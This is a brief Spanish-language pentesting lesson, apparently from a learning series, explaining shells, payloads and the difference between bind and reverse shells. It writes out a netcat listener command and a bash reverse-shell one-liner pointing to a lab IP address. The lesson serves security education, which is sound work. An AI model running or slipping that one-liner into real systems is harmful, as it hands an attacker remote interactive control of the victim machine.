Una shell es una interfaz de línea de comandos que permite ejecutar órdenes en un sistema. En pentesting, "conseguir una shell" significa obtener una terminal sobre la máquina objetivo.
Un payload es el código que, al ejecutarse en la víctima, abre esa shell o realiza la acción del atacante. El payload es el medio; la shell es el resultado: control interactivo sobre el sistema.
Bind shell vs Reverse shell
- Bind shell → la víctima abre un puerto y espera; el atacante se conecta a ella. Falla a menudo porque los firewalls bloquean conexiones entrantes.
- Reverse shell → el atacante se pone a escuchar; la víctima se conecta hacia él. Funciona mejor porque las redes suelen permitir el tráfico de salida.
# En la máquina del atacante: ponerse a escuchar
nc -lvnp 4444
# En la víctima: reverse shell hacia el atacante (IP y puerto del atacante)
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
En la reverse shell, el payload apunta a LHOST (tu IP) y LPORT (tu puerto): la dirección a la que la víctima debe "volver".
| Bind shell | Reverse shell | |
|---|---|---|
| ¿Quién escucha? | La víctima | El atacante |
| ¿Quién se conecta? | El atacante | La víctima |
| ¿Atraviesa firewalls? | Pocas veces | Casi siempre |
Una shell recién obtenida suele estar limitada (usuario sin privilegios, terminal "tonta" sin autocompletado). Por eso se la estabiliza y, sobre todo, se busca ampliar permisos. Pasar de un acceso básico a control total es la escalada de privilegios, el tema que cierra el pilar.